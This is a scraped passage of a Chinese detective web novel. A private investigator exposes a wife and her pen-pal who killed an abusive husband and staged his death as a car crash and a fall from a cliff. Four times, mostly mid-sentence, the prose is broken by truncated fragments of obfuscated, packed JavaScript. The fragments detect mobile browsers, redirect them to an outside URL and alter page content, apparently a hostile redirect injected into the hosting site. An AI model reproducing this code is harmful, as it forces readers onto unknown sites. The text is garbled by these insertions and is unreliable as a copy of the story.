“人渣丈夫一直处于猎手的位置,他不需要用凶杀这种行动来获得优势,他从精神虐待中能获得更多的快感,而凶杀只会让他陷入被动。” 陈定言心想你这样都可以去当警察了,比那什么好警官坏警官可都要强多了。 但她还是尝试着提出了另一个可能性:“如果是丈夫失手杀了小三呢?监控中丈夫独自回家后半夜开车离开了家就失踪了,而且车子在几天后被警方发现撞树报废了,丈夫的尸体就在悬崖下。” 裴勉知抬手扶着脸颊:“这样吗?” 陈定言这个剧透玩家已经提前知道了死者确实是人渣吕泰平。只是没有证据显示吕泰平是被谋杀。 吕泰平深夜开车离开家,车子在山上撞树报废,吕泰平拖着伤体打开车门逃离,却又在漆黑的夜色里不慎掉落山崖死亡。 一切现象都显示是吕泰平失手杀了程璐雪,匆忙逃亡时出意外身亡。 裴勉知也陷入了自我怀疑:“难道真的是丈夫失手杀死了小三吗?” 陈定言补充道:“我是一点都不想给那个人渣丈夫找出真正的凶手,我接到的委托是帮妻子找到失踪的小三去哪里了。” “既然如此,我们就把镜头转移到小三这边的线索。小三家里的手机充电器充电宝全都消失了,你觉得小三是去哪里了?” 裴勉知皱眉:“等一下,我确认一下,小三的手机确实是关机了吧?” 陈定言知道他又抓到关键点了:“是的,小三的手机号码这几天无法接通,警方找不到她的信号所在地。” 裴勉知看着她,无法理解:“手机都关机了,为什么还需要充电器?” 她想了想:“把手机芯片拿下来了,用没有sim卡的手机玩。” 裴勉知依然不理解:“非要玩手机?” 他再次陷入思考的时候,陈定言脑子里的任督二脉忽然被打通。 “我好像知道该怎么找到证据了,”她轻轻吸了一口气,“明天我去确认一下证据。” 裴勉知看着她,不免觉得有些好笑。只要想通了一个点,就能让她整个人像充满了电一样。 从某种意义上来说,还挺好哄的。 陈定言容光焕发地走到他身边,用力拍了一下他的肩,坏心眼地道:“明天我再把答案告诉你,包括丈夫为什么会半夜开车逃亡——你今天晚上就去辗转反侧地思考吧。” 裴勉知配合地道:“喂,用心有点险恶了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502947|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈定言哈哈笑着,征询意见:“我以后还想和你聊案情,还挺有意思的。” 裴勉知以为这已经是理所当然的事了:“随时。” 陈定言突然想到了什么,颇有兴致地道:“我是福尔摩斯的话,那你就是我的华生了。” 裴勉知愣了一下,他没想到她会这么说。 等她电量满格地回去看剧,他仍然坐在沙发上,怔怔地思考。 【那你就是我的华生了。】 …… 次日,陈定言特地提早出门,目的是避开孟行霄。 只要是孟行霄在的场合,她都会或多或少地被剧情控制,只能在“被动降智”和“主动摆烂”中选一个。 但今天她打定主意要做一个聪明侦探,所以她唯一能做的就是避开孟行霄。 当然也要避开薛繁恩。 出门查案如果遇到薛繁恩,就相当于脚底打滑摔在粘鼠板上。 陈定言拿好东西,在出门前虔诚地祈祷自己今天稍微顺利一点,就做个普通的路人NPC,千万不要意外闯进主角的世界里。 她有什么错呢?她只想保持智商,做一个聪明人而已。 陈定言出门后径直往地下车库的方向走。 她小跑着拐过弯,正好有人也朝她相对的方向走来。 她开始后悔平时没有好好锻炼,关键时刻反应速度不够快,她刹车刹不住—— “小心。”对方说。 已经来不及了,她一头扎进了孟行霄的怀里,脑袋磕在他的下巴上。 两人都因为疼痛而闷哼了一声。 孟行霄扶住她后,松开手。 陈定言像触电一样往后退了好几步,揉着额头,质问道:“你这个时间点为什么会出现在这里?” 孟行霄看着她,眼神里没有了昨天那种冷淡劲,语气平静而温和地答道:“昨天晚上加班,刚回来。” 昨天晚上有人报案在山上发现吕泰平的车,警察随后就发现掉在悬崖下的尸体。 理论上来说,孟行霄确实应该加班了。 陈定言追问:“但是为什么会出现在这里呢?这里是我家附近。” 孟行霄直言道:“来找你。” 陈定言心如死灰。 她错了,她不该把薛繁恩比作“粘鼠板”的。 眼前这个家伙才是真正的粘鼠板,专门粘她这种到处乱窜的自大狂配角老鼠。 13. 第 13 章 孟行霄来找她谈外婆疑似被卷进的那个案子。 陈定言大早上就出门不顺,头脑有些晕晕的,只听到他叽里咕噜不知道说了什么,大意应该是他从附近便利店的监控里确实查到了可疑人士,然后用“谢谢你”做结语。 “你的委托协议仍然继续?”她忽略了那些,直接问。 “继续。” “不过万一到时候罪犯找到了这里,请你自己来解决,我是个脆皮,搞不定这些武打戏。” “我会想办法。脆皮是?” “脆皮就是血条很短的,平时不好好锻炼,跑八百都会喘成狗的那种,一般都是属性偏科。” 陈定言怀疑自己是被世界意志给她定的人设腌入味了,不然怎么会看到孟行霄就开始忍不住怼他。 好在孟行霄似乎已经对这种万人嫌的状态适应得不能再适应了,他的情绪全程未见有半点波动,礼貌又体面。 她没法改变这种诡异的氛围,只能尝试适应,索性接受了这个毒舌暴躁的自大狂人设,狠起来连自己都怼。 陈定言想起来什么:“我给了外婆一个大门的钥匙,以后我不在的时候,她可以自己过来。” 孟行霄怔了一下。 就算知道她对外婆很好,他也完全没想到她会放心地把钥匙给外婆。 陈定言嘴巴像上了发条,丝毫没有给他答话的空间,轱辘轱辘地接下去:“好了,你可以走了,我还有事。” 孟行霄却不走,他看着她:“还有吕泰平那个案子。吕泰平的死因是醉酒驾驶后坠崖死亡,但有些疑点。” 陈定言虎着脸:“这个我自己会去打听的。” 她真的有点怕了。 孟行霄这两天古怪得要命,他怎么会主动来找她交流案情?莫不是偷偷在试探她的底细、筹划什么惊天大阴谋? 她可以接受和裴勉知谈案子,她甚至官方亲自认证裴勉知可以扮演“华生”这个角色。但她无法接受和孟行霄谈案子。 哪有人和死对头分享线索、交流案情的? 从人设上来说就崩塌了吧。世界意志光是纠正她的人设,怎么不纠正一下男主的人设? 孟行霄:“吕泰平的尸体上还有其他不正常的磕碰,应该不是坠崖造成的。” 陈定言头皮发麻:“我不要听,别说了。” 她的定位是给男主提供打脸高光的自大狂配角,承受不了这种“恩宠”,她甚至能感觉到他在说的时候,她的智商正在刷刷往下掉。 她要消极怠工,她不想干了! “对不起。”孟行霄沉默了一下。 他以为她之前争着和他打赌破案,现在她也同样会想知道这些线索。但她却表现出了抗拒的神色。 陈定言抬手捂住了额头,她深呼吸了几口:“我也对不起。” 她的状态被剧情控制,情绪有点过于尖锐了。 …… 一定有其他办法的。 既然剧情能被改变,那么这种不由自主的情况也能被改变的,不只有逃避和怠工这一条出路。 陈定言思考了一下,恢复了嚣张的气焰,对孟行霄道:“我们做个交易。上次风头让你出了,这次风头让我出,你不要对我说任何线索,由我自己来解决这个案子,但我可以允许你悄悄跟着我。” 做个交易? 孟行霄的目光闪了闪,答应道:“好。” …… 陈定言整理好心情,再次出门。 委托人尹瑶给她的委托是找到失踪的程璐雪的下落。 陈定言第二次来到尹瑶家里。 尹瑶推动电动轮椅的摇杆,到门口给她开门:“陈小姐,警方昨天晚上联系我了。” 陈定言走进屋里后,主动帮尹瑶关上门:“你丈夫的尸体,让你去认尸了对吗?” 她没有锁上门,而是做了个手脚,虚虚地掩着门。 尹瑶的表情看起来很轻松,脸上带着笑意:“说句缺德的话,那个人终于死了,听说是车撞在树上人掉下悬崖死的,真是报应不爽。” 陈定言理解她的心情。 长期精神虐待她的人渣丈夫终于死了,无论是以何种方式死的,都是值得普天同庆的一件事。 她路过放在桌下的垃圾桶的时候留意了一下其中的垃圾,在垃圾桶中看到了一盒空了的外卖盒:“咸蛋黄焗鸡饭,这个好吃吗?” 尹瑶的轮椅转到她身边:“好吃,香仔家的焗饭里面我最喜欢这一款,里面有加椰浆,米饭稍微有点油油焦焦的,特别香。” 陈定言不争气地道:“米饭特别好吃?那我一定要试试了。” 陈定言在沙发上坐下。 尹瑶脸上挂上了担忧的神色:“程璐雪呢?她怎么样了?警方没有对我提起她,我实在担心。” 陈定言却没有直接回答她的问题:“尹小姐,在那之前,我想先和你谈谈关于我对这个案子的理解。” 尹瑶点头:“好。” 陈定言顿了顿,从案件发生的情况讲起:“4月23日,吕泰平约了程璐雪,两人在约会后,吕泰平驾车回家。在那个时候,程璐雪并没有真正回到家,而是躲在了吕泰平的汽车后备箱里。” 尹瑶吃了一惊:“你说什么?” 陈定言指了指房间:“整个案子里程璐雪看似是首先失踪的那个人,其实并不是。她躲在汽车后备箱里,跟踪着吕泰平回家,也就是这里。” 尹瑶失神了一瞬,否认道:“不,程璐雪没有来过我家。” 陈定言没有理会,继续道:“这里的楼道监控一个月前就坏了,物业不干人事,管都没有管,所以你趁着吕泰平不注意给尾随上楼的程璐雪悄悄开门,让她进屋。” “在吕泰平睡着后,你们给他灌酒,过一会儿就让他进入了昏迷,这些酒是用来代替安眠药的,因为安眠药会被检测出来。” “你们两人把吕泰平装进大行李箱里,程璐雪则穿上吕泰平的衣服,戴上帽子和口罩,扮成吕泰平的模样。这时是凌晨,车库出入口的监控里黑漆漆的,只有吕泰平的一个标志性习惯动作让警方确认那个开车的人就是吕泰平,造成他收拾行李逃亡的假象。” “为了避免吕泰平出其他问题,程璐雪上车后就把吕泰平从行李箱里搬出来,把带上的衣服和生活用品放进行李箱内。然后她按照之前定好的路线开着车离开,尽量走没有监控的小路,到了郊外山上,在那个位置下车,让昏迷的吕泰平坐在驾驶座上,并在方向盘和其他地方印上他的指纹,让车辆挂空挡下滑撞上树。” “最后一步,车撞树后,程璐雪又把吕泰平从车里搬出来,扔下悬崖,从其他人看来,真相就是他半夜逃亡结果撞树坠崖而亡。” 陈定言从剧情中知得知了凶手是谁,死者是谁,只不过具体的破案过程和证据她都知之不清,光是从那些线索里推理出这个过程。 “我不知道我对作案过程的推理是不是正确,但我只是侦探,不是警察,抓凶手这件事让警察来做。我只是来完成我的委托的。” “你让我找程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502948|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璐雪小姐的下落,我可以告诉你:我找到了。” 尹瑶没有说话,她低着头,手紧紧抓着轮椅扶手。 陈定言拿出她给程璐雪做的个人侧写。 “你之前对我说,一个月前程璐雪对你说她要搬家了,所以现在无法确定她的住址。我调查了一下程璐雪,发现她根本没有要搬家的打算,要么是她说谎要么是你说谎。” “程璐雪家里丢失的不仅有充电线,还有画画的数位板。她取出了手机sim卡,却仍然要用那只旧手机,证明旧手机上有她一时半会无法扔掉的重要事项,那就是未完成的画稿。” “我调查了程璐雪的点外卖习惯,发现咸蛋黄焗鸡饭是程璐雪经常点的,而声称喜欢这款饭的你以前根本就没有点过这个外卖。” 就在陈定言说话的时候,尹瑶微微抬了抬眼,余光瞥到了从房间里走出来的另一个人。 陈定言背对着房间,她虽然口若悬河地说着,也看不到身后的情形,暗中却也捏着一把汗。 她的对手有两个人,两个都是狠人,尹瑶狠,程璐雪更狠。 也正是因此,她才和孟行霄做了那个荒唐的交易。 表面上来看她这个臭屁死要面子的侦探为了展示自己的能力非要自己一个人破案,还私下拜托孟行霄把“出风头的机会”让给她。 但实际上,一方面她是在测试剧情到底可以被改变成什么样。如果她在“保持狂妄自大人设”的同时没有正面和男主交锋呢? 另一方面,她在给自己做安全保障。 陈定言紧张地咽了一下口水,终于下结论的时候,她下意识地站了起来,免得自己被偷袭。 “从警察眼皮底下失踪是很难的事,住在哪个酒店都会被警察找到,程璐雪唯一能去的最安全的地方就是这里——尹小姐,就在你家。” 就在这时,金属棒球棍在陈定言身后高高举起。 从陈定言开始讲“行李箱”那部分的时候,程璐雪就从卧室蹑手蹑脚地出来了。 她手里握着棒球棍,慢慢靠近坐在沙发上的陈定言。 没想到陈定言忽然站起来,移动了一下位置。 程璐雪的棒球棍攻击方向出错,砸了个空,重重地落在沙发靠背上。 陈定言转过身看到了程璐雪,她早就知道程璐雪这个家伙狠得有点疯,但看到她手上的金属棒球棍还是吓了一跳:“喂喂,别这样!” 程璐雪很冷静,她调整好姿势,抬起棒球棍再次冲了过来。 陈定言就知道会这样。 她跌跌撞撞地绕过沙发,往门口的方向跑去:“我不会说出去的,我就想拿个委托费,拜托小姐!” 尹瑶脸上什么表情也没有,她推动摇杆,电动轮椅挡在了陈定言面前。 陈定言被突然滑过来的轮椅挡住,重心不稳,差点往前栽在尹瑶身上。 程璐雪一步步从她身后走过来,手里的棒球棍举起。 陈定言在心里默默数:“三,二……” 下一秒就要砸下—— 棒球棍停在了空中,有人自下而上挡住了棍子,阻止了棍子的砸下。 那扇陈定言进门时故意虚掩着的大门不知什么时候开了。 当她开始说最后一句话的时候,孟行霄推门进来了。 在几秒钟的时间内,场面发展到更加混乱的程度。 而正如陈定言估算的,保镖也该上场了。 孟行霄进门后,手一撑迅速翻过沙发,手臂发力牢牢地握住了棒球棍。 14. 第 14 章 程璐雪被控制住,她缓缓转过眼,看向陈定言:“陈定言,你迟一点来又能怎么样呢?” 陈定言不明白她的意思:“说清楚。” 尽管她在推理中感觉到了程璐雪行事的疯狂,但还是第一次面对面见识到程璐雪本人。 正如她漫画风格中大开大合的情节设置一样,程璐雪和尹瑶的气质很不一样,她的头发像狮子鬃毛一样蓬松而卷曲,浓眉下是更加浓黑的眼睛。 程璐雪定定地看着她,忽然吼了起来:“你迟一天揭发真相不好吗?!再给我一点时间,我就会去自首!” 【我是程璐雪。 【我先认识的其实是尹瑶,而不是所谓的婚外情对象吕泰平。我和尹瑶在网上认识,成为了笔友,定期给对方寄自己的手稿原画。尹瑶出车祸后就不再创作长篇漫画了,她在网上接一点零碎的插画单子。但私下里她还是会画完整的故事。 【尹瑶结婚后,从某次开始她给我寄的原画手稿,题目名叫《你的老婆和情人会这样杀掉你》。我作为她的第一个也是唯一的读者,追完了她这个故事。她没有说这个故事是有原型的,但我感觉出来了,我发现那个人渣丈夫很有可能就是尹瑶现实生活中的丈夫。 【她寄来最后一章,我熬夜又把前面所有的篇章看了一遍,我的头发乱糟糟的,我在纸上画出无序而疯狂的密密麻麻的线条。 【不可能,我不会容忍那种畜生毁掉尹瑶。 【我开始调查尹瑶的人际关系,找到了那个名叫吕泰平的畜生。我故意接近吕泰平,以猎物的姿态出现在他面前,他果然上钩了。第一步,成为死者的情人,完成。 【《你的老婆和情人会这样杀掉你》是尹瑶的作品,其中的作案手法和诡计只是初步的想法,而我经过实践和踩点,在那基础上制定了一个更为完善可行的计划。第二步,外部环境部署,完成。 【为了在搬运尸体时更加得心应手,我特地花了好几个月时间特训增强力量。第三步,主观能力部署,完成。 【我选定了一个黄道吉日,和吕泰平约会,然后按照那个计划一步步走,把他扔到悬崖下的那一刻,我心里畅快极了。但我知道这个作品还没真正完成,还需要更多人的配合。警察,侦探,社会上各方各面的人,这些都是我和尹瑶作品中的重要组成部分。 【吕泰平失踪,总有人会报案,但像我这样的人失踪却很难被人发现,毕竟连我的父母和我都像定期打招呼的陌生人一样。尹瑶委托了一名私家侦探,让侦探来寻找我这位“笔友”。这样的话,警察和侦探也到齐了。第四步,观众部署,完成。 【完成杀人抛尸后,我就躲在了尹瑶家里,这几天我在完成作品的最关键一步。之前,我将尹瑶的《你的老婆和情人会这样杀掉你》这个草稿誊下来做成正式的电子版初稿,但在经过杀人实践后,我知道还有细节需要完善。 【我和尹瑶在画这部作品前,谁都没有杀过人,只在脑中靠想象设计各种细节,但在实践过后,我有了更多真实的心得。一个好故事中最重要的是真实的情绪。我躲在尹瑶家里,疯狂修改画稿,增添了很多细节,包括作案时遇到的难题、心理变化等。 【除此以外,我把故事改成了《你的情人会这样杀掉你》,删掉了原故事里妻子的戏份,把情人角色改成妻子的狂热粉丝。这样的话,即使这个作品最后发表,也不会对尹瑶产生任何影响。 【故事的结尾很简单:实施杀人行为的情人像偷偷在外面找个地方死的老狗一样在荒郊野外自杀。 【我从没有这样废寝忘食地创作一个故事,它就像是从我身体里流淌出来的黑色的血液,从我的笔触不断流向纸面,成为线条,吼叫着的线条,抓撕着的线条。 【只要我完成作品,我就会把这个故事寄给出版社,寄给各大媒体的记者,然后按照故事的结局出去自杀,既是自杀又是自首。 【我迫切地盼望故事的结局。 【我甚至已经为故事写好了扉页的献词、腰封上的推荐词和作者序。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502949|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【献词:献给尹瑶 【腰封上的推荐词:当你想杀掉你身边的男人,请你把这本漫画放到他的床头,作者的鬼魂会替你杀死他的身体和灵魂。 【作者序:在写这个故事时,我的兽性和我的头发一样成为狮子鬃毛,我正在马不停蹄地向地狱奔赴。我必须承认,女人的兽性比男人更强,她们可以为美、为爱、为任何虚幻的东西、为一个陌生人献上自己的生命,正如在伊甸园里夏娃为那颗美丽的果子着迷一样。 【我保留了尹瑶叙述方式中大片大片的黑镜,这些黑色的背景和白色的冷酷独白、以及意犹未尽的省略号简直是再恰当不过的表达方式。这些黑镜是在这个本来属于尹瑶的故事中,她的原创声明注脚。 【这些黑镜,是痛苦滋养出来的恶之花,像深渊一样不断膨胀吞噬。 【我并不称赞这种兽性,因为它从畸形的土壤里成长,它也让我畸变成野兽。但你们必须承认,让我产生兽性的这片土壤比我更罪恶。因为我深知我的罪恶,承认我的罪恶,也接受了犯罪的惩罚——而这片土地却不会承认它的罪恶,不会接受犯罪的惩罚,甚至不会出版这个故事! 【所以,我恳请所有看到这个故事的读者,把这个无法出版的故事种下去,它是无根的蒲公英,无法在这片土地上植根,但它会在盗版和口口相传中见证罪恶。 【作者:尹瑶,程璐雪】 “我还没画完!” “我根本不想杀你。如果你迟一天,哪怕是一个下午也好,你让我画完,你让我画完!!” 程璐雪表情扭曲地向陈定言吼道。 她头发漆黑脸色苍白,正像她笔下的线条一样,狂舞而肆意,蓬松的头发让她看起来更像漫画中开始抓狂暴走的角色。 尹瑶是程璐雪的反面,她平静得像一潭死水,坐在轮椅上如同一尊雕像。 陈定言轻声叹了一口气。 她闭上眼,不忍心看这两个人。 “孟行霄,让她们完成作品。” 15. 第 15 章 陈定言对自己的定位是性格色彩比较浓烈的邪恶人士。在见到程璐雪后,她突然觉得跟这位狮子鬃毛头发漫画家比起来,她就是个淡人。 至少她说话的时候不会用那么多感叹号。 不过,这个老婆和情人联手杀掉人渣丈夫的案子,最后的决定权还是在于警察。 在场的警察孟行霄当下就联系了同事,他的意思是,就算给程璐雪时间完成漫画作品,也会让她在拘留所里完成。 很快,其他警察赶到了。 陈定言和认识的警官们打了招呼,想着这里应该没有她的事了,便准备走:“我先走了。” 孟行霄叫住了她:“等一下。” 陈定言打起十二分的警惕,回头打量他。 不知道是不是她的目光太到位了,孟行霄的话头竟卡住了一瞬,他的睫毛闪了闪。 “有伤到吗?”他问。 陈定言抬起手展示自己:“没有,我好得很。” 孟行霄颔首:“好。” 陈定言留给他一个背影表态:“溜了溜了,我要回家了。” 没想到孟行霄的下一句话又让她停住了脚步。 他说:“下次我不会和你做这种危险的交易了。” 陈定言急了,立刻转过身逼近两步:“干嘛?为什么?” 她好不容易找到一个可以稍微平衡一下剧情的方法,至少她也可以偶尔出出风头,不至于每次都在案件中摆烂。 她要是经常摆烂,过一阵子警方就不会那么积极地邀请她参与疑难案件侦破了。她将面临失去一部分饭碗的威胁。 “危险不会每次都能及时避开,”孟行霄顿了顿,“……会透支我的幸运,我会赶不上救你。” 陈定言没想到他居然会说这种唯心主义的话,她大开眼界,但一时半会却又不知道怎么回答他。 她居然越想越觉得他说的好像是对的。在剧情中,外婆会倒霉地卷进黑色交易案件中,大概就是因为孟行霄的体质。 陈定言毕竟是怕死的胆小鬼一只,她冷哼道:“下次我自己带别的保镖,不叫你了。” 话虽是这样说的,陈定言回家后第一件事是怂兮兮地满屋子找裴勉知订的健身器材。 “裴勉知,你上次说的那个器材在哪里?从今天起我要锻炼了。”她从一楼找到二楼。 裴勉知沿着楼梯走上来,给她指了指放在二楼客厅里的器材。 他嘴角扬着淡淡的笑意说风凉话:“稀奇事。” 陈定言举起一个基础的五千克哑铃握在手上:“为了我的生命安全,我大彻大悟了。” 自从孟行霄成为片区警察后,这个区已经开始往哥谭市的方向发展了。所以孟行霄那个“透支幸运”的说法,她完全相信。 她担心要是和孟行霄一起待久了,说不定哪天他的倒霉数值就影响到了她,然后她就变成了某个案子的受害者。对于没有主角光环的她来说,这是绝对有可能的! 裴勉知脸上的笑消失:“遇到危险了?” “算是。” 陈定言含糊其辞,很快掠过了这个话题,她语气坚定地道:“虽然我一年中有五十次以上的金盆洗手,但是今天绝对是真正的痛改前非。” 裴勉知走到她身边,从她手里拿过那个哑铃放在地上,一手按住她的脑袋上下打量:“哪里受伤了?” 陈定言愣了一下,她总觉得这个场景好像似曾相识,但另一个人的处理方式并不像裴勉知这样动手动脚的而已。 她撇了撇嘴:“我要是受伤了,现在应该忙着给职业事故保险公司提交申请要求报销。” 裴勉知的表情放松了一些,但却仍然仔细打量着她,确认她脸上没有出现可疑的伤痕,衣服上没有出现其他痕迹。 “明天去医院检查。”他不容置疑地道。 陈定言:“……” 她要说多少次,那个棒球棍真的一点都没沾到她。 裴勉知松开手,直起身来,把手揣进口袋里:“至于防身和格斗,我可以帮你练。” …… 漫画师杀人案告一段落。 陈定言从孟行霄那里跟进了一下案子后续送审的进度。 程璐雪坚持全程是她的主意,尹瑶只有包庇罪。但警方认为尹瑶不仅是从犯,而且有教唆杀人的嫌疑。 程璐雪已经将尹瑶的手稿已经全都烧了,虽然曾经想过在序言中添加尹瑶的名字,但她放弃了,因此她认为警方根本没有证据证明杀人计划是尹瑶提出的。更何况,就算原稿的确是尹瑶画的,难道所有创作杀人案的作者都是“教唆杀人”吗? 除此以外,程璐雪也托人请了最好的律师为尹瑶辩护。 这些日子,这个案子的进度就停留在这里。 至于《你的情人会这样杀掉你》(原稿《你的老婆和情人会这样杀掉你》)这部作品是否能获得出版许可,现在并不能下结论,但网络上却已经传开了。 人类对八卦的味道最为敏锐,变得耳聪目明智商翻倍。如果外语考级也用八卦作为素材,那么考试通过率将有质的飞跃。 面对这样一个闹上社会新闻的惊天大八卦,网民们自然不遗余力地将它传播到了每一个角落,黄牛和资源号走在第一线,“求资源私”“关注我发PDF”这些宛如人机的评论大量出现在“漫画家杀人”词条下。 就凭这个案子的舆论影响力,后续的庭审阶段对于程璐雪和尹瑶来说绝对是有利的。 裴勉知也终于得知了那天晚上陈定言给他下的钩子:“凶手带走充电线,取下sim卡也要使用手机,原来是为了修改画稿。” 陈定言向来不会吝啬夸奖,她逮着机会再次夸他:“我能想到这里,还得多亏你问‘为什么非要玩手机’那个问题。” 裴勉知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502950|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面无表情地道:“你就尽管拍我马屁,今天晚上的训练量照样不会减少。” 陈定言眼神死:“……” 距离她“大彻大悟决定做六边形战士”才过去四天,她已经被裴勉知这个格斗教练折磨得双眼失去高光了。 唯一的安慰是每天的食物增加了,但食物中最核心的糖油混合物却逐日在减少。 所以,陈定言决定今天下午偷偷溜出去吃点糖油混合物。 烤的,炸的,煎的,什么都来一点。只要是不健康食品,都有它们存在的理由:美味。 她行动力超强,假装自己有一个婚外情调查委托,正大光明地出门:“我出门工作了。” 裴勉知对此睁只眼闭只眼,深知压迫教育的害处,给学生陈定言留了条缝。 …… 下午三点,陈定言在烤串店看到了不想见的人。 即使穿着宽松款的黑色长袖和工装裤,薛繁恩在路人当中也是鹤立鸡群的存在,隔着烤串店的落地窗玻璃,陈定言一眼就认出了他。 他似乎有什么急事,一边打电话一边匆匆路过烤串店。 陈定言低下头把自己的存在感降到最低,却不敢有大幅度动作。薛繁恩那小子的视力很好,动态视力更是杠杠的,她可不敢赌。 落地窗玻璃外那个青年走开的瞬间,她松了一口气,继续放心地消灭烤串。 没想到的是,薛繁恩放下手机,开始往回走,以确认刚才余光中一闪而过的影像。 他回到烤串店的落地窗玻璃外,隔着玻璃,一眼就看到了她。 眼神交汇的瞬间,薛繁恩有些发怔。 陈定言知道这是天要亡她,看向手里的烤串,决定放弃挣扎躺平做人。 烤串重要还是躲人重要?答案一目了然。 烤串店的自动门打开,传来轻柔的电子提示音:“叮咚。” 薛繁恩走进了烤串店。 但他没有靠近她和她搭话,而是在一个比较远的位置上坐下。 见他迟迟没有扫码点单,服务员主动走过去问他:“请问几位?” 薛繁恩又看向她的方向,很快收回目光:“两位。” 尽管他掩饰了自己看向她的目光,但那实在是过于拙劣,光是被陈定言本人抓包就有好几次。 陈定言吃烤串吃得有点心虚了。 她很清楚这几天薛繁恩没有联系她是因为她那天不告而别溜走的举动。 总体而言陈定言还是一款善良的魔王。 她抓起一把烤串,走到薛繁恩旁边递给他:“你约了人吗?” 薛繁恩抬起眼看她,黑沉而湿漉漉的眼中露出了诧异的神色。 像是在确认她的动机一样,他目不转睛地盯着她看,嘴角一点点慢慢上扬。 陈定言把烤串递过去的那个动作保持得有点累了,她收回手:“约了人啊,那拜拜。” 16. 第 16 章 陈定言认为自己的做法已经是体面中的体面、善良中的善良了。 她是秉承着怎样的一种人类关怀精神把她心爱的烤串递过去的,只有她自己知道。 在三秒之内不接烤串,妥妥的是对烤串的不礼貌不尊重,证明对方对烤串没那么感兴趣。那么这就刚刚好,这些烤串还是留着她自己吃吧。 薛繁恩眼睁睁看着她收回手,他想伸手去拉住她,想到什么又退缩了。 “不是,我一个人。”他徒劳无功地解释道。 陈定言背对着他,靠着桌子,慢悠悠地吃着烤串:“我知道,而且我还知道你有一件急事,再不去要完蛋了。你刚才经过烤串店的时候在打电话,步子迈得很大,脸上的表情也很严肃,你真的不要去办一下电话里说的那件事吗?” 薛繁恩愣了一下,他总算想起他刚才要去做的事了,却仍然没有丝毫离开座位的觉悟。 他看了一眼手机上的时间:“大不了我的车被拖走,没关系。” 陈定言咬住烤年糕,牙齿似乎被粘住了,她有些郁闷。 她本以为用这个理由能让他离开,但没想到他似乎学聪明了。上次见面他忘拿外卖,趁着他下楼拿外卖的功夫她溜走了,现在他索性连车都不要了。 这个家伙真的是乱来。 薛繁恩的目光轻轻落在对面的座位上,问她:“你不坐吗?” 陈定言无情地回答道:“我自己有座位。” 薛繁恩不说话了。 陈定言转过头去看他,从她这个站着的角度看他,他敛着浓密的睫毛,唇红齿白,看着有点可怜。 联想到此刻他那辆正被拖走的车,她那不该拥有的负罪感又浮上来了:“我都给你名片了,你怎么不打电话?” 薛繁恩抬起手,手肘支着桌面,手指托着额头,微微低下头,目光落在桌面上,神色变得有些无措。 “对不起,我不是故意的。”他说。 这时,陈定言的手机有了动静。 “抱歉,我接个电话。”她说。 薛繁恩停下话头。 陈定言出去接了电话。 出乎意料的是,打电话来的并不是案件委托人或是熟人,而是一个自称是高中同学的男人。 “你忘了?我是卓茂城,我们高中一个班啊。”电话那头的男人说。 “有事吗?”她问。 那个自称高中同学的男人道:“同学会,五一假期最后几天我们准备开个同学会,你有时间吗?” 陈定言直言:“没时间。” 自称是高中同学卓茂城的男人:“对了,薛繁恩也会来。你真的不来吗?” 如果陈定言不是侦探,说不定这会儿早就挂掉电话了,但她有点想知道到底是怎么回事,就算是诈骗电话,她今天也要顺着电话线恶心一顿对方。 她提出质疑:“很可疑不是吗?薛繁恩明明不是我们一个班的,为什么他也被邀请了?” 高中同学卓茂城:“不是和我们一个班的,但也是我以前的同学嘛。陈定言,我听说你是侦探,所以特地来找你的。” 陈定言警惕起来,她嗅到了案件的味道。 自从孟行霄成为本区警察后,案件就开始多起来了。 虽然现在这个“同学会”关键词并没有出现在她的剧情梦里,但她还是得小心。 剧情之外也会发生很多案子。 她有些不耐烦:“说话不要弯弯绕绕的,请直说。” 高中同学卓茂城:“薛繁恩,有人要杀他。” 陈定言的耐心消失殆尽,语气变得不那么好:“那就报警。” 陈定言回过头,看了一眼烤串店内坐着的人。 薛繁恩也正隔着落地窗玻璃看着她,见她回头,他的嘴角抿了抿,露出淡淡的笑意。 